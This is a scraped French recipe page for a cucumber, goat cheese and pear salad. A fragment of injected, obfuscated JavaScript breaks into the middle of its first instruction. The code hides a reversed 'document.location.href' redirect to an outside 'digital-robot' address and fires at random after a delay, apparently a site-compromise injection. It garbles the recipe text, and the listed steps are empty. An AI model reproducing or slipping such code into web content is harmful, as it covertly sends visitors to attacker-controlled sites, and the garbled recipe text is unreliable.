Salade de concombres au fromage de chèvre et à la poire
2018-02-15- Cuisine : Salade
- Thématique : Végétarien
- Niveau : Facile
Pelez, séchez les concombres. Les détaillez en fins bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets. Coupez le fromage de chèvre en rondelles. Pelez, ôtez le cœur des poires.
Ingrédients
Pelez, séchez les concombres. Les détaillez en fins bâtonnets. Coupez le fromage de chèvre en rondelles. Pelez, ôtez le cœur des poires. Les détailler en petits quartiers, les citronnez pour éviter qu'elles noircissent. Dans un bol mélangez la moutarde / le vinaigre / huile / le sel / le poivre
Émulsionnez avec un fouet et ajoutez la ciboulette. Répartissez dans chaque assiette des bâtonnets de concombre, des rondelles de fromage de chèvre et des quartiers de poires. Nappez de sauce vinaigrette, parsemez de ciboulette ciselée.
Dégustez rapidement.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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